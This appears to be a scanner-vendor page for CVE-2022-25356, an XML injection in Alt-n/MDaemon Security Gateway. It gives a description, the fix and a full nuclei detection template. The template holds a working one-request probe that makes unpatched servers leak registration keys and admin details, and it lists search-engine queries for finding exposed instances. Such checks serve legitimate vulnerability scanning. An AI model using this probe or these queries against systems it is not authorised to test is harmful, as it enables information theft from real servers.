Alt-n/MDaemon Security Gateway <=8.5.0 - XML Injection

mediumseverity

5.3CVSS score

5.7%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

Alt-n/MDaemon Security Gateway through 8.5.0 is susceptible to XML injection via SecurityGateway.dll?view=login. An attacker can inject an arbitrary XML argument by adding a new parameter in the HTTP request URL. As a result, the XML parser fails the validation process and discloses information such as protection used (2FA), admin email, and product registration keys.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious XML code, leading to various security risks such as information disclosure, privilege escalation.

Fix

Upgrade Alt-n/MDaemon Security Gateway to version 8.5.1 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/SecurityGateway.dll?view=login&redirect=true&9OW4L7RSDY=1
Positive when: contains "Exception: Error while [Loading XML" and "&lt;RegKey&gt;" and "&lt;IsAdmin&gt;" AND status 200

Run it with nuclei: nuclei -id CVE-2022-25356 -u <target>

The full check

id: CVE-2022-25356

info:
  name: Alt-n/MDaemon Security Gateway <=8.5.0 - XML Injection
  author: Akincibor
  severity: medium
  description: |
    Alt-n/MDaemon Security Gateway through 8.5.0 is susceptible to XML injection via SecurityGateway.dll?view=login. An attacker can inject an arbitrary XML argument by adding a new parameter in the HTTP request URL. As a result, the XML parser fails the validation process and discloses information such as protection used (2FA), admin email, and product registration keys.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious XML code, leading to various security risks such as information disclosure, privilege escalation.
  remediation: |
    Upgrade Alt-n/MDaemon Security Gateway to version 8.5.1 or later to mitigate this vulnerability.
  reference:
    - https://www.swascan.com/security-advisory-alt-n-security-gateway/
    - https://www.altn.com/Products/SecurityGateway-Email-Firewall/
    - https://www.swascan.com/security-blog/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25356
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-25356
    cwe-id: CWE-91
    epss-score: 0.05722
    epss-percentile: 0.93103
    cpe: cpe:2.3:a:altn:securitygateway:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: altn
    product: securitygateway
    google-query:
      - inurl:"/SecurityGateway.dll"
      - inurl:"/securitygateway.dll"
  tags: cve,cve2022,altn,gateway,xml,injection,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/SecurityGateway.dll?view=login&redirect=true&9OW4L7RSDY=1'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Exception: Error while [Loading XML"
          - "&lt;RegKey&gt;"
          - "&lt;IsAdmin&gt;"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from